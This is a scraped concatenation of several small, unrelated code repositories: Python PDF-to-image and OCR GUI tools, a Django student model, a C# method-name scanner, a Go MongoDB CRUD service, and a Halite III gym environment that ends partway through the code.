int(args.numLabels) start = time.time() progTime = start if fileName == 'diabetes': classifier = diabetesClassifier.diabetesClassifier() elif fileName == 'digits': classifier = digitClassifier.digitClassifier() data = classifier.getData() classify = knn.knn(k, numLabels, data[0], data[1], data[2], data[3]) classify.getDistances() classify.stats() print '---------------------- {} seconds ----------------------'.format(time.time() - progTime) progTime = time.time() k += 2
9d037f7768d0f0c46a58ba454f2154ed3e77686f
[ "Markdown", "Python" ]
5
Python
atruman843/k_nearest_neighbors
76194bc33ddf367ca485e46a80f59b6e5491403f
9df2ae2f97e3a8daca35dd932ec6becb07436f71
refs/heads/master
<file_sep>from PIL import Image import os import json from aip import AipOcr import time import random import fitz import PySimpleGUI as sg def pdf_to_png(filepath): """ 此函数用于pdf转png :param filepath: 图片路径 :return: out_put_dir,导出路径 """ file_name = os.path.split(filepath)[-1] name1, ext1 = os.path.splitext(file_name) a = os.getcwd() # 获取当前路径 b = a + '/导出路径' c = a + '/导出路径/' + name1 out_put_dir1 = a + '/导出路径/' + name1 + '/' if not os.path.exists(b): # 如果路径不存在 os.mkdir(b) if not os.path.exists(c): # 如果路径不存在 os.mkdir(c) # 打开PDF文件,生成一个对象 doc = fitz.open(filepath) print('共有{}张图片'.format(doc.pageCount)) for pg in range(doc.pageCount): print('正在导出第{}张图片'.format(pg)) page = doc[pg] rotate = int(0) # 每个尺寸的缩放系数为2,这将为我们生成分辨率提高四倍的图像。 zoom_x = 2.0 zoom_y = 2.0 trans = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate) pm = page.getPixmap(matrix=trans, alpha=False) pm.writePNG('%s/page_%s.png' % (out_put_dir1, pg)) # 保存图片 print('图片导出成功') return out_put_dir1, name1 def crop_png(png_path, crop_location: tuple): """ 用于切割图片 :param png_path: png所在路径 :param crop_location: 切割位置 :return: """ img = Image.open(png_path) png_name = os.path.basename(png_path) # 文件名名称 dir_name = os.path.dirname(png_path) # 文件夹名 dir_name2 = dir_name + '(切割后)' if not os.path.exists(dir_name2): os.mkdir(dir_name2) # 创建文件夹 crop = img.crop(crop_location) crop.save(os.path.join(dir_name2, png_name)) # 保存图片 def scan_png(png_path, scan_type1, api_key_path='api.json'): """ 此函数用于识别png编号 :param png_path:png路径 :param scan_type1:识别类别 :param api_key_path: api相关信息所在路径 :return: """ f2 = open(api_key_path, 'rt', encoding='utf-8') api_dict3 = json.load(f2) f2.close() """ 你的 APPID AK SK """ app_id = api_dict3['app_id'] api_key = api_dict3['api_key'] secret_key = api_dict3['secret_key'] client = AipOcr(app_id, api_key, secret_key) with open(png_path, 'rb') as fp: image = fp.read() """ 调用通用文字识别, 图片参数为本地图片 """ client.basicGeneral(image) if scan_type1 == '识别票据': response = client.receipt(image) # 识别票据 elif scan_type1 == '识别数字': response = client.numbers(image) # 识别数字 elif scan_type1 == '普通识别(高精度)': response = client.basicAccurate(image) # 普通高精度识别 else: response = client.basicGeneral(image) # 普通识别 print(response) result1 = response['words_result'][0]['words'] # 获取结果 return result1 if __name__ == '__main__': # --创建api_key---# if not os.path.exists('api.json'): f = open('api.json', 'wt', encoding='utf-8') api_dict = { 'app_id': 'xx', 'api_key': 'xx', 'secret_key': 'xx', } json.dump(api_dict, f) f.close() # 设置自定义字体 my_font = 'Deja_Vu_Sans_Mono.ttf' my_font_style0 = (my_font, 10, "normal") my_font_style1 = (my_font, 11, "normal") my_font_style2 = (my_font, 13, "normal") layout = [ [sg.Text('选择路径', font=my_font_style1), sg.Input(key='pdf_path', size=(16, None)), sg.FileBrowse(target='pdf_path')], # 第一行 [sg.Text('识别方法', font=my_font_style1), sg.Combo(values=['识别数字', '识别票据', '普通识别', '普通识别(高精度)'], size=(16, None), default_value='普通识别', font=my_font_style0, key='scan_type')], [sg.Text('左上坐标x:'), sg.Input(size=(6, None), default_text='100', key='left_top_x'), sg.Text('右下坐标x:'), sg.Input(size=(6, None), default_text='300', key='right_button_x')], [sg.Text('左上坐标y:'), sg.Input(size=(6, None), default_text='482', key='left_top_y'), sg.Text('右下坐标y:'), sg.Input(size=(6, None), default_text='500', key='right_button_y')], [sg.Button('导出并切割'), sg.Button('开始识别'), sg.Button('退出')] ] # --- 设定布局 --- # windows = sg.Window('一键识别', layout=layout, font=my_font_style1) for i in range(10): event, value = windows.read() # 获取key的值 pdf_path = windows['pdf_path'].get() # pdf路径 scan_type = windows['scan_type'].get() # 识别方式 lx = float(windows['left_top_x'].get()) # 左上x ly = float(windows['left_top_y'].get()) # 左上y rx = float(windows['right_button_x'].get()) # 右下x ry = float(windows['right_button_y'].get()) # 右下y # --退出按键-- # if event in ['退出', None]: break elif event == '导出并切割': if len(pdf_path) <= 4: sg.popup('你还没有选择Pdf路径', title='错误提示') else: file_name = os.path.basename(pdf_path) file_type = os.path.splitext(file_name)[-1] if file_type != '.pdf': sg.popup('你选择的不是pdf文件吧', title='错误提示') else: sg.Popup('开始pdf转图片,请稍后', title='提示', auto_close_duration=3, auto_close=True) out_put_dir, name = pdf_to_png(pdf_path) # pdf转图片 sg.Popup('pdf转图片成功, 开始切割图片', title='提示', auto_close_duration=3, auto_close=True) file_list = os.listdir(out_put_dir) # 获取原有文件具有的文件总数 length = len(file_list) # -- 构建切割进度条-- # layout2 = [ [sg.Text('切割进度')], [sg.ProgressBar(length, size=(30, 15), key='progressbar')] ] windows2 = sg.Window('进度条', layout=layout2, font=my_font_style1) bar = windows2['progressbar'] for ii in range(length): event2, values2 = windows2.read(timeout=10) png_path1 = os.path.join(out_put_dir, 'page_{}.png'.format(ii)) crop_png(png_path1, (lx, ly, rx, ry)) bar.UpdateBar(ii) windows2.close() sg.Popup('切割图片完成', title='提示', auto_close_duration=3, auto_close=True) elif event == '开始识别': f = open('api.json', 'rt', encoding='utf-8') api_dict = json.load(f) # 获取api信息 f.close() if api_dict['api_key'] == 'xx': sg.Popup('你还没有填写你的api信息', '请将本exe根目录下的"api.json文件里面的‘xx’信息换成你的关键信息"', '软件即将自动关闭,请填写好后再重新打开', auto_close=True, auto_close_duration=5, font=my_font_style1) break sg.Popup('注意:每种票据识别与数字识别每天只有200次免费', '普通识别每天5000次,高精度识别每天500次', '尽量不要浪费', title='提示', auto_close_duration=5, auto_close=True, font=my_font_style1) file_name1 = os.path.basename(pdf_path) # 获取文件名 file_dir = os.path.dirname(pdf_path) # 获取文件夹路径 file_name2 = os.path.splitext(file_name1)[0] # 文件名 result_file = os.path.join('导出路径', file_name2 + '识别结果.csv') png_dir = os.path.join('导出路径', file_name2 + '(切割后)') if not os.path.exists(png_dir): sg.Popup('你还没有对pdf文件进行切割,', '请选择导出并且切割', '警告', auto_close=True, auto_close_duration=3) break else: f = open(result_file, 'wt', encoding='utf-8-sig') length2 = len(os.listdir(png_dir)) # ---第三次制作进度条---# layout3 = [ [sg.Text('识别进度')], [sg.ProgressBar(length2, size=(30, 15), key='progressbar2')] ] windows3 = sg.Window('识别进度条', layout3, font=my_font_style1) bar2 = windows3['progressbar2'] for iii in range(length2): event3, values3 = windows3.read(timeout=10) bar2.UpdateBar(iii) # 更新进度条 png_path2 = os.path.join(png_dir, 'page_{}.png'.format(iii)) try: result = scan_png(png_path2, scan_type1=scan_type) # 识别图片结果 str1 = str(iii) + ',' + str(result) + '\n' f.write(str1) time.sleep(0.5 + random.random() / 2) except Exception as err: print(err) sg.Popup('出错了!', '错误提示为:', err, title='注意') time.sleep(5) f.close() sg.Popup('识别完成,已经在导出路径生成一个"{}.识别结果.csv"文件'.format(file_name2), title='提示') windows3.close() windows.close() <file_sep>""" 注意:使用前需要安装依赖 pip install pymupdf pip install pillow pip install PySimpleGUI pip install pyinstaller 否则fitz,PIL用不了 """ import os import math import fitz import PySimpleGUI as sg from os import listdir from PIL import Image from math import ceil def pdf_to_png(filepath): """ 此函数用于pdf转png :param filepath: 图片路径 :return: out_put_dir,导出路径 """ file_name = os.path.split(filepath)[-1] name, ext = os.path.splitext(file_name) a = os.getcwd() # 获取当前路径 b = a + '/导出路径' c = a + '/导出路径/' + name out_put_dir = a + '/导出路径/' + name + '/' if not os.path.exists(b): # 如果路径不存在 os.mkdir(b) if not os.path.exists(c): # 如果路径不存在 os.mkdir(c) # 打开PDF文件,生成一个对象 doc = fitz.open(filepath) print('共有{}张图片'.format(doc.pageCount)) for pg in range(doc.pageCount): print('正在导出第{}张图片'.format(pg)) page = doc[pg] rotate = int(0) # 每个尺寸的缩放系数为2,这将为我们生成分辨率提高四倍的图像。 zoom_x = 2.0 zoom_y = 2.0 trans = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate) pm = page.getPixmap(matrix=trans, alpha=False) pm.writePNG('%s/page_%s.png' % (out_put_dir, pg)) # 保存图片 print('图片导出成功') return out_put_dir, name def generate_long_picture(out_path, n, file_name): """ 用于图片拼接 :param out_path: 导出的图片的路径 :param n: int类型,单个长图拼的图片数量 :param file_name: 文件名 :return: """ a = os.getcwd() # 获取当前路径 b = a + '/导出路径/' + file_name + '_长图' if not os.path.exists(b): os.mkdir(b) long_png_name = b + '/' + file_name[-6:] +'_长图{}.png' # 长图名称 png_list = listdir(out_path) png_list.sort(key=lambda m: int(m[5: len(m) - 4])) ims = [Image.open(out_path + fn) for fn in png_list if fn.endswith('.png')] # 获取所有图片信息 width, height = ims[0].size # 获取单张图片大小 number = ceil(len(ims) / n) # 向上取整,判断可以分成的长图的个数 remain = len(ims) % n # 余数,判断最后一张长图剩余数 for x in range(number): # 开始循环生成长图 if remain > 0: # 如果余数大于0 if x < number-1: # 如果不是最后一张图 whiter_picture1 = Image.new(ims[0].mode, (width, height * n)) # 创建空白图,长度为n的长度 for y, im in enumerate(ims[x * n: n * (x+1)]): whiter_picture1.paste(im, box=(0, y * height)) # 图片粘贴拼凑 whiter_picture1.save(long_png_name.format(x)) else: # 如果是最后一张图 whiter_picture2 = Image.new(ims[0].mode, (width, height * remain)) # 此时以余数的个数创建空白图 for y, im in enumerate(ims[x * n: n * (x + 1)]): whiter_picture2.paste(im, box=(0, y * height)) # 图片粘贴拼凑 whiter_picture2.save(long_png_name.format(x)) elif remain == 0: # 如果余数为零 whiter_picture1 = Image.new(ims[0].mode, (width, height * n)) # 创建空白图,长度为n的长度 for y, im in enumerate(ims[x * n: n * (x + 1)]): whiter_picture1.paste(im, box=(0, y * height)) # 图片粘贴拼凑 whiter_picture1.save(long_png_name.format(x)) def auto_zip(file_name, n): """ 用于压缩文件 :param file_name: 文件名 :param n: 图片压缩比例 :return: """ a = os.getcwd() # 获取当前路径 b = a + '/导出路径/' + file_name + '_长图/' c = a + '/导出路径/' + file_name + '_长图(压缩后)' if not os.path.exists(c): os.mkdir(c) long_zip_png = c + '/' + file_name[-6:] + '_长图{}.jpg' # 压缩后的长图名称,只取6个字符 long_png_list = listdir(b) # 计算未压缩的长图路径里面的图片数量 d = len(file_name[-6:]) # 计算文件名原始名称长度,同样只取6个字符 long_png_list.sort(key=lambda m: int(m[d+4-1: len(m) - 4])) # 文件排序 long_png_0 = b + long_png_list[0] # 第一张长图完整路径 long_png_file_size = os.path.getsize(long_png_0) # 第一张图片文件大小 # e = round(long_png_file_size * int(n) / (1024**2 * 10), 4) # 计算要压缩的倍数,取3位小数,这里取这里根据图片数量自动计算压缩倍数 e = round(math.sqrt(long_png_file_size / (1024 ** 2)), 4) # 计算要压缩的倍数,平方根,取3位小数,这里取这里根据图片数量自动计算压缩倍数 print(e) ims = [Image.open(b + fn) for fn in long_png_list if fn.endswith('.png')] # 获取所有图片信息 i = 0 for im in ims: w, h = im.size # 获取文件的宽、高 print(int(w/e)) w1 = w/e h1 = h/e if w1 > 720: w1 = 720 h1 = 720 * h/w im.thumbnail((w1, h1)) # 缩放并取整,为确保万无一失,减去5个像素点 im.save(long_zip_png.format(i), quality=int(n)) # 保存缩放后的图片,保存质量100% i += 1 if __name__ == '__main__': # 设置自定义字体 my_font = 'Deja_Vu_Sans_Mono.ttf' my_font_style1 = (my_font, 11, "normal") my_font_style2 = (my_font, 13, "normal") # 构建菜单栏 menu_def = [['&帮助', ['使用说明', '关于']]] # 构建按键 layout = [ [sg.MenuBar(menu_def, tearoff=True, font=my_font_style1)], [sg.Text('pdf路径', font=my_font_style1), sg.InputText(size=(35, 1), key='pdf_path', font=my_font_style1), sg.FileBrowse(button_text='浏览文件', font=(my_font, 11, "bold"))], [sg.Text('拼接数量', font=my_font_style1), sg.InputText(size=(3, 1), key='number', font=my_font_style1), sg.CBox(default=True, text='自动压缩', key='auto_zip'), sg.Text('压缩比例', font=my_font_style1), sg.InputText(size=(2, 1), key='quality', default_text='92'), sg.Text('%')], [sg.Button('一键转换', font=my_font_style1), sg.Button('退出', font=my_font_style1)] ] # 构建窗口 windows = sg.Window('PDF转长图助手1.05版', layout=layout, font=my_font_style1) # 运行窗口 for i in range(10): # 循环10次即可,一般都会运行完后退出 event, value = windows.read() # 读取事件和值 pdf_path = windows['pdf_path'].get() # 获取文件路径 number = windows['number'].get() # 拼接数量 quality = windows['quality'].get() # 压缩比例 auto_zip_type = windows['auto_zip'].get() # 自动压缩 pdf_name = os.path.split(pdf_path)[-1] pdf, ext1 = os.path.splitext(pdf_name) # 获取文件名和后缀 if event in ['退出', '']: break elif event == '一键转换': if pdf_path is not None: if len(str(number)) == 0: sg.Popup('请输入要拼接的单个长图的数量', '数量为整数', title='提示', font=my_font_style1, auto_close=True, auto_close_duration=2) # 2秒后自动关闭提示 elif not ext1.endswith('pdf'): # 如果不是pdf文件 sg.Popup('只支持pdf文件', '请提供pdf文件路径', title='错误', font=my_font_style1, auto_close=True) else: out_put_path, f_name = pdf_to_png(pdf_path) # pdf转图片 sg.Popup('pdf转图片成功', '如有压缩图片请等待图片压缩', title='提示', font=my_font_style1, auto_close=True, auto_close_duration=2) generate_long_picture(out_put_path, int(number), f_name) # 长图拼凑,需要指定几张pdf拼凑为一个长图 if auto_zip_type == True: auto_zip(f_name, quality) sg.Popup('图片压缩成功', '压缩后的图片格式为jpg', title='提示', font=my_font_style1, auto_close=True, auto_close_duration=2) elif event == '关于': sg.Popup('当前版本:1.05版', '1.05版更新记录:', '1.优化自动压缩算法,确保能把图片压缩到1M以内', '2.转换完成后自动结束运行', '3.新增压缩比例手动选择', '4.其它未提到的细节更新' '\n', '支持的功能:1.pdf转图片,2.图片拼接长图', '3.自定义拼接长图数量,4.长图自动压缩到1M以内', title='关于', font=my_font_style2) elif event == '使用说明': sg.Popup('1.选择文件路径,即找到你的pdf文件所在位置', '2.输入拼接的图片数量,一般为3-7张即可', '3.选择立即开始,需要压缩后的图片不满意,可以手动更改图片压缩率', '4.等待图片压缩成功,即将生成一个导出路径文件夹,里面有相关图片', title='使用说明', font=my_font_style2) <file_sep># 准备工作 1. 去百度AI开放平台注册账号,控制台,创建文字识别应用。获取api信息 2. 你需要导出你的pdf转成图片,然后看看应该怎么切割,建议使用网页版pdf查看切割位置,以左上角顶点为坐标原点。 3. 运行软件,按照提示即可。 ## 安装依赖 ```python pip install -r requirements.txt ``` ## 打包 打包pdf片段识别工具 ```python pyinstaller --paths=Deja_Vu_Sans_Mono.ttf -F -w pdf_crop_scan.py ``` 打包pdf转长图工具 ```python pyinstaller --paths=Deja_Vu_Sans_Mono.ttf -F -w pdf_to_long_png.py ``` <file_sep>baidu-aip==2.2.18.0 certifi==2020.4.5.1 chardet==3.0.4 idna==2.9 Pillow>=8.1.1 PyMuPDF==1.16.18 PySimpleGUI==4.18.2 requests==2.23.0 urllib3==1.25.9
cc81aeae3724bce6915bcce325f4de3256d64498
[ "Markdown", "Python", "Text" ]
4
Python
luiyi-yilia/pdf_tools
7fa1d5c276e64802b437cc8eb78667ff8f4cbbde
d25f4bf741d5185ead4bd491c8fcdd220442fc07
refs/heads/master
<repo_name>Awourroberts/schoolsystem<file_sep>/schoolsystem/student/models.py from django.db import models class Student(models.Model): first_name=models.CharField(max_length=12) last_name=models.CharField(max_length=12) date_of_birth=models.DateField() age=models.PositiveSmallIntegerField() rolenumber=models.CharField(max_length=12) district=models.CharField(max_length=12) gender=models.CharField(max_length=12) email=models.EmailField(max_length=12) student_id=models.PositiveSmallIntegerField() nationality=models.CharField(max_length=12) national_id=models.CharField(max_length=12) medical_report=models.CharField(max_length=12) language=models.CharField(max_length=15) laptopserialnumber=models.CharField(max_length=15) date_of_enrollment=models.DateField() profile=models.ImageField() phone_number=models.CharField(max_length=12) # Create your models here. <file_sep>/schoolsystem/student/views.py from django.shortcuts import render from.forms import StudentRegistrationForms def register_student(request): form=StudentRegistrationForms() return render(request,"register_student.html",{"form":form}) # Create your views here. <file_sep>/schoolsystem/student/forms.py from django import forms from django.forms import fields from django.db import models from.models import Student class StudentRegistrationForms(forms.ModelForm): class Meta: model=Student fields="__all__"
6278192c4c088329ea9da48155a8606b44f4cc82
[ "Python" ]
3
Python
Awourroberts/schoolsystem
717a6b6955945cea62f99b7c4969b3167d36e9a6
1a6f8cc336a7bce09ace7f7243402d4ec3bcfa2e
refs/heads/master
<file_sep>class PlacesController < ApplicationController def index @places= Place.all end end
f6dcfd889fbf5aa8032f17160828b0a6bf43bb6e
[ "Ruby" ]
1
Ruby
chethan2k5/nomster
8f0d144fd8a941001b5709c55c2474291a6bf7cb
5f6a58aef2b68470869c204661139a6e8138d7cb
refs/heads/master
<file_sep> ### AutoTab Refresh A chrome extension that automatically refreshes the browser tab after a specified amount of time. <file_sep>// defaults const defaults = { min: 10, max: 17, } chrome.runtime.onInstalled.addListener(() => { chrome.storage.sync.set({ defaults }) chrome.storage.sync.get('defaults', ({ defaults }) => { console.log('defaults:', defaults) }) }) <file_sep>function gotMessage(message, sender, sendResponse) { if (message === 'start') { const time = startTime() sendResponse(time) } else if (message === 'stop') { stopTime() } } function getRandomInt(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min + 1)) + min; } function sleep(ms) { var timeout, promise; promise = new Promise(function (resolve) { timeout = setTimeout(function () { resolve('Timer Finished'); }, ms); }); return { promise: promise, cancel: function () { clearTimeout(timeout); } //return a canceller as well } } async function startTime() { chrome.storage.sync.get('defaults', ({ defaults }) => { oneSecond = 1000 oneMinute = 60000 variation = getRandomInt(0, 30) * oneSecond timeToSleep = getRandomInt(defaults.min, defaults.max) * oneMinute + variation // Save time time = { 'timeToSleep': timeToSleep, 'startDate': Date.now() } chrome.storage.sync.set({ time }) window.sleppingObj = sleep(timeToSleep) console.log('Timer Started') window.sleppingObj.promise.then(function (result) { window.location.reload(false) console.log(result) }) }) } function stopTime() { if (window.sleppingObj !== undefined){ window.sleppingObj.cancel() time = { 'timeToSleep': 0, 'startDate': Date.now() } chrome.storage.sync.set({ time }) console.log('Timer stopped') } } // gotMessage responds by either starting or stoping the timer chrome.runtime.onMessage.addListener(gotMessage)
021884c043a1b5dc0fcfdf868d9450fb068a69e2
[ "Markdown", "JavaScript" ]
3
Markdown
vlad-yeghiazaryan/autoTab-refresh
1325c4d6c85c330cbdc641c3c15a47d58a0829c9
8c0bbc8f44bc280871a056ceaa2ae64914904935
refs/heads/master
<repo_name>etkirsch/MethodChecker<file_sep>/MethodChecker/MethodChecker.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; using System.IO; using Newtonsoft.Json.Linq; using System.Reflection; namespace MethodChecker { class MethodChecker { const string MethodRegex = @"(\w*)\s(\w*)::(\w*)(\S*)\(\s(\w*)\s(\w+&+\**)\s(\w*)", OutfileName = "results.txt", MatchWordRegex = @"(.*)"; private static List<string> _extensions, _excludedDirectories, _matchWords, _relevantFiles, _regularExpressions, _results; private static bool _unifyResults; private static string _rootDirectory; public static string ExecutableDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + @"\"; static void Main(string[] args) { InitializeViaJson(); _regularExpressions = new List<string>(); foreach (var item in _matchWords) { _regularExpressions.Add(MatchWordRegex + item + MatchWordRegex); } GetFilesAndDirectories(_rootDirectory); foreach (var relevantFile in _relevantFiles) { ReadFile(relevantFile); } using (var file = new StreamWriter(ExecutableDirectory + OutfileName)) { file.WriteLine(@"Unique Method Names matching keywords: "); foreach (var word in _matchWords) { file.Write(word + " "); } file.WriteLine(); file.WriteLine("\n--------------------------"); var iterator = 1; foreach (var result in _results) { // If the line doesn't contain the word 'Second', write the line to the file. file.WriteLine(iterator++ + ": " + result); } file.Close(); } } private static void InitializeViaJson() { var test = ExecutableDirectory; var json = File.ReadAllText(ExecutableDirectory + "config.json"); JToken token = JObject.Parse(json); _rootDirectory = token["root_directory"].ToString(); _unifyResults = Boolean.Parse(token["unify"].ToString()); _extensions = token["extensions"].Select(t => (string)t).ToList(); _excludedDirectories = token["excluded_directories"].Select(t => (string)t).ToList(); _matchWords = token["match_words"].Select(t => (string)t).ToList(); _results = new List<String>(); _relevantFiles = new List<String>(); } private static void ReadFile(string filename) { var file = new StreamReader(filename); var flatFileName = filename.Split(new char[] { '\\' }).Last(t => t.Length > 1); var line = ""; while ((line = file.ReadLine()) != null) { if (IsMethod(line)) { ReadMethod(file, line, flatFileName); } } } private static void ReadMethod(TextReader file, string line, string flatFileName) { var methodName = line.Split(new char[] { ':' }).Last(t => t.Length > 1).Split(new char[] { '(' }).First(m => m.Length > 1); methodName = flatFileName + "::" + methodName + "()"; while ((line = file.ReadLine()) != null) { CheckMethodLineForMatches(line, methodName); if (IsMethod(line)) { break; } } } private static void CheckMethodLineForMatches(string line, string methodName) { foreach (var regex in _regularExpressions) { if (System.Text.RegularExpressions.Regex.IsMatch(line, regex, System.Text.RegularExpressions.RegexOptions.IgnoreCase)) { var result = ""; if (_unifyResults) { result = methodName; } else { result = regex.Substring(MatchWordRegex.Length).Split(new char[] { '(' }).First(t => t.Length > 1); result = result + " -> " + methodName; } if (_results.Contains(result)) { continue; } _results.Add(result); } } } // Not a big fan of this implementation but it works for now private static void GetFilesAndDirectories(string directory) { RecordAllFilesInDirectory(directory); foreach (var d in Directory.GetDirectories(directory).Where(d => !_excludedDirectories.Contains(directory))) { GetFilesAndDirectories(d); } } private static void RecordAllFilesInDirectory(string directory) { try { foreach (var f in Directory.GetFiles(directory).Where(IsFile)) { _relevantFiles.Add(f); } } catch (Exception e) { using (var file = new System.IO.StreamWriter(ExecutableDirectory + OutfileName)) { file.WriteLine("No directory \"" + directory + " \" was found."); file.Close(); System.Environment.Exit(1); } } } private static bool IsMethod(string text) { return System.Text.RegularExpressions.Regex.IsMatch(text, MethodRegex, System.Text.RegularExpressions.RegexOptions.IgnoreCase); } private static bool IsFile(string text) { return _extensions.Any(e => System.Text.RegularExpressions.Regex.IsMatch(text, ("(\\w*)\\." + e), System.Text.RegularExpressions.RegexOptions.IgnoreCase)); } } }
19f88c69231b67d4ca40a94efc09ce0ab7edc11f
[ "C#" ]
1
C#
etkirsch/MethodChecker
89d61ef2ded60073cabb2acb324f866de1294fe6
eeec77adfb0d336169162e488f29a7a8067b515d
refs/heads/master
<repo_name>mainak90/crud-mongo<file_sep>/controllers/crud.go package controllers import ( "context" "crud-mongo/models" "crud-mongo/utils" "encoding/json" "fmt" "net/http" "github.com/gorilla/mux" _ "go.mongodb.org/mongo-driver/bson" "go.mongodb.org/mongo-driver/mongo" ) type Controller struct{} var trainer []models.Trainer func (c Controller) InsertDocument(client *mongo.Database) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { var trainer models.Trainer json.NewDecoder(r.Body).Decode(&trainer) param := mux.Vars(r) collection := client.Collection(param["collection"]) insertResult, err := collection.InsertOne(context.TODO(), &trainer) utils.LogFatal(err) fmt.Println("Inserted a single document: ", insertResult.InsertedID) json.NewEncoder(w).Encode(&trainer) } } <file_sep>/utils/utils.go package utils import ( "encoding/json" "go-crud-jwt/models" "log" "net/http" ) func RespondWithError(w http.ResponseWriter, status int, error models.Error) { w.WriteHeader(status) json.NewEncoder(w).Encode(error) } func ResponseJSON(w http.ResponseWriter, data interface{}) { json.NewEncoder(w).Encode(data) } func LogFatal(err error) { if err != nil { log.Fatal(err) } } <file_sep>/driver/driver.go package driver import ( "context" "crud-mongo/utils" "fmt" "os" mongo "go.mongodb.org/mongo-driver/mongo" options "go.mongodb.org/mongo-driver/mongo/options" ) func ConnectMongo() *mongo.Database { clientOptions := options.Client().ApplyURI(os.Getenv("MONGO_URL")) client, err := mongo.Connect(context.TODO(), clientOptions) utils.LogFatal(err) fmt.Println(clientOptions) err = client.Ping(context.TODO(), nil) utils.LogFatal(err) return client.Database(os.Getenv("MONGO_DB")) } <file_sep>/models/trainer.go package models type Trainer struct { Name string `json:"name"` Age int `json:"age"` City string `json:"city"` } <file_sep>/main.go package main import ( "log" "net/http" "crud-mongo/controllers" "crud-mongo/driver" "github.com/gorilla/mux" "github.com/subosito/gotenv" "go.mongodb.org/mongo-driver/mongo" ) var client *mongo.Database func init() { gotenv.Load("go.env") } func main() { client = driver.ConnectMongo() router := mux.NewRouter() controller := controllers.Controller{} router.HandleFunc("/insert/{collection}", controller.InsertDocument(client)).Methods("POST") log.Println("Starting http server listeing on port 8902...") log.Fatal(http.ListenAndServe(":8902", router)) }
fe9179bb1bac7b46f9e36c1c5544e0d5aba9f68e
[ "Go" ]
5
Go
mainak90/crud-mongo
8782cf26ab7ea25a72c1cd0af6f16fa77d3267b1
9498426d9d3dc784e5be94f28bf1b58f03633255
refs/heads/master
<file_sep>from gym.envs.registration import register from haliteenv.haliteenv import HaliteEnv, Constants register( id='HEnv2PTrain-v0', entry_point='haliteenv.haliteenv:HaliteEnv', kwargs={ 'numPlayers':2, 'mapType':haliteenv.MapType.BASIC, 'mapSize':haliteenv.MapSize.MEDIUM, 'regenMapOnReset':False }, ) register( id='HEnv2PTrain-v1', entry_point='haliteenv.haliteenv:HaliteEnv', kwargs={ 'numPlayers':2, 'mapType':haliteenv.MapType.BASIC, 'mapSize':haliteenv.MapSize.MEDIUM, 'regenMapOnReset':True }, )<file_sep>import numpy as np from enum import Enum import matplotlib.pyplot as plt import gym class HaliteEnv(gym.Env): """ Stores the Halite III OpenAI gym environment. This environment does not use Halite III's actual game engine (which analyzes input from terminal and is slow for RL) but instead is a replica in Python. Attributes: ----------- self.map : np.ndarray Map of game as a 3D array. Stores different information on each "layer" of the array. Layer 0: The Halite currently on the sea floor Layer 1: The Halite currently on ships/factory/dropoff Layer 2: Whether a Factory or Dropoff exists at the layer (Factory is 1, Dropoff is -1) Layer 3: Whether a Ship exists at the layer Layer 4: Ownership Layer 5: Inspiration (not given as part of observation by default) self.mapSize : int Size of map (for x and y) self.numPlayers : int Number of players self.playerHalite : np.ndarray Stores the total halite a player with ownership id <index + 1> has. self.map also stores the total halite with the halite under factories/dropoffs, but doesn't include the 5000 initial. """ metadata = {'render_modes':['human'], 'map_size':0, 'num_players':0} def __init__(self, numPlayers, mapType, mapSize, regenMapOnReset = False): """ HaliteEnv initialization function. """ print("Initializing Halite Environment") self.map = Map.generateFractalMap(mapSize.value, numPlayers) self.playerHalite = np.empty((numPlayers, 1)) self.playerHalite.fill(5000) self.numPlayers = numPlayers self.mapSize = mapSize.value self.regenMap = regenMapOnReset self.metadata['map_size'] = mapSize.value self.metadata['num_players'] = numPlayers if(not self.regenMap): self.originalMap = self.map.copy() def step(self, action): """ Step of Halite III environment Parameters: ----------- action : np.ndarray Array of length <numPlayers> where each element is an action for the player whose id is (index + 1). Shape is (mapSize, mapSize, numPlayers). Each player's actions are represented as a 2D array the size of the map, where each element is what move to do on an element of the map. This means that many extra/ illegal moves are made, which are ignored during the step. Why 2D? I couldn't think of a different way to represent the full action space. I'm open for suggestions (create an issue on the Github if you have any). Moves possible: 0 - Do Nothing 1 - Spawn ship 2 - Convert to dropoff 3 - Move N 4 - Move E 5 - Move S 6 - Move W Returns: -------- ob, reward, episode_over, info : tuple ob (array): Game observation as an sequence (<map>, <playerHalite>) reward (array): Reward for each player with ownership id <index + 1> for action taken episode_over (bool) Whether or not game is over. info (dict) Info for debugging. """ playerReward = np.zeros((self.numPlayers)) #Process turns first #Loop through ships and factories and pull from corresponding player's actions for that ship/factory ships = np.where(self.map[:, :, 3] == 1) for loc in range(0, len(ships[0])): #ships[0] are Y, ships[1] are X #print(ships[1][loc], ships[0][loc], self.map[ships[0][loc], ships[1][loc], 4].astype(np.int64) - 1) if(self.map[ships[0][loc], ships[1][loc], 3] != 0 and self.map[ships[0][loc], ships[1][loc], 4] == 0): #This if statement is very dangerous. A lot of bugs might be hidden because of it. #So why is it here? I modify the map as I'm iterating through ships. If a ship dies, the map is updated but #the indices aren't! #TODO: Consider switching to only doing movements after I've iterated through all ships, like the Halite game engine does self.map[ships[0][loc], ships[1][loc], 1] = 0 self.map[ships[0][loc], ships[1][loc], 3] = 0 if(self.map[ships[0][loc], ships[1][loc], 2] == 0): self.map[ships[0][loc], ships[1][loc], 4] = 0 act = action[ships[0][loc], ships[1][loc], self.map[ships[0][loc], ships[1][loc], 4].astype(np.int64) - 1] success = True if(act == 2): success = self.constructDropoff(ships[0][loc], ships[1][loc]) elif(act == 3): success = self.moveShip(ships[0][loc], ships[1][loc], 'N') elif(act == 4): success = self.moveShip(ships[0][loc], ships[1][loc], 'E') elif(act == 5): success = self.moveShip(ships[0][loc], ships[1][loc], 'S') elif(act == 6): success = self.moveShip(ships[0][loc], ships[1][loc], 'W') #Deinceventize outright bad/invalid moves if(not success): #print("Move was invalid! Move: " + str(act)) playerReward[self.map[ships[0][loc], ships[1][loc], 4].astype(np.int64) - 1] -= 0.1 factories = np.where(self.map[:, :, 2] == 1) for loc in range(0, len(factories[0])): #factories[0] are Y, factories[1] are X assert self.map[factories[0][loc], factories[1][loc], 4].astype(np.int64) - 1 >= 0, "Error, map seems corrupted for factories" act = action[factories[0][loc], factories[1][loc], self.map[factories[0][loc], factories[1][loc], 4].astype(np.int64) - 1] success = True if(act == 1): success = 